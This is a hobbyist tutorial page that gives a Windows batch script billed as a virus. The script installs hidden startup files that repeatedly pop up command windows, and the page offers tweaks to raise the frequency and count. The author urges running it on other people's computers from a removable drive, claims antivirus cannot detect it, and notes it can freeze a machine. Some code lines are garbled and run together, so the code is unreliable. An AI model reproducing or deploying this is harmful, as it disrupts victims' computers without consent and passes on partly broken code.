A Computer Virus

by dharani.arumugam.37 in Circuits > Computers

1189 Views, 6 Favorites, 0 Comments

A Computer Virus

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HELLO GUYS

TODAY I WILL SHOW U TO CREATE A VIRUS USING THE .BAT FILE

WHAT DOES IT DO?

it is a program that starts at the run time and create the command Prompt to pop up from time to time

note: I will also tell you

1.How to change how long does it take the next pop up

2.how to make program other than command Prompt to pop up ex. browser

3.how to change the number of pop ups displayed and a time

Create a Text File

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right click and got to new and select text document

open it

Writing the Code

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copy paste this text

@echo off
(echo @echo off

echo :pp

echo timeout 60

echo CALL %appdata%\starter.bat

echo goto pp)>"%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat"

(echo @echo off

ho set/a x=5

echo :p

echo start

echo set/a x=%%x%%-1

echo if %%x%%==0 goto en

echo goto p echo :en)>"%appdata%\starter.bat"

(echo WScript.Sleep 10000
echo Set WshShell = CreateObject^("WScript.Shell"^) echo WshShell.Run chr^(34^) ^& "%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" ^& Chr^(34^), 0 echo Set WshShell = Nothing) > "%appdata%\Microsoft\windows\start menu\Programs\Startup\system.vbs"

or download the attached txt file

Downloads

Saving the File

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go to file > save as

Saving the File .bat

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name the file what ever u want and add .bat to the end

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now the virus has been created

copy it into a removable drive to run on some other computer

or just double click on it to run it

COMPLETED

now the next time you start your computer the virus will start in the background and will

display 5 cmd windows every 60 second

Deleting the Virus 1

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search this in the start menu

%appdata%\

and delete the .bat named as starter.bat

Deleting the Virus 2

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now search for this path in the start menu

%appdata%\Microsoft\windows\start menu\Programs\Startup\

and delete two files

system.bat

system.vbs

Changing How Long Does It Take the Next Pop Up

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go to the .bat file u created and right click on it and and select edit

now change the line marked in the photo

and change the time to your wish

60=60 seconds

and than save the file.

How to Make Program Other Than Command Prompt to Pop Up Ex. Browser

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go to the .bat file u created and right click on it and and select edit

now change the line marked in the photo

to open

1.chrome

start chrome

2.google on the default browser

start https://www.google.co.in/

3. to open firefox

start firefox

and than save the file.

How to Change the Number of Pop Ups Displayed and a Time

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go to the .bat file u created and right click on it and and select edit

now change the line marked in the photo

change the number to number of pop ups you want

ex: 30

will open the cmd 30 times

and save the file

Warning

DO USE HIGH VALUES OR THE COMPUTER WILL FREZZE AND U WILL HAVE TO SHUT DOWN TO GET OUT OF IT

AND THIS CANT BE DETECTED BY THE ANTIVIRUS

ENJOY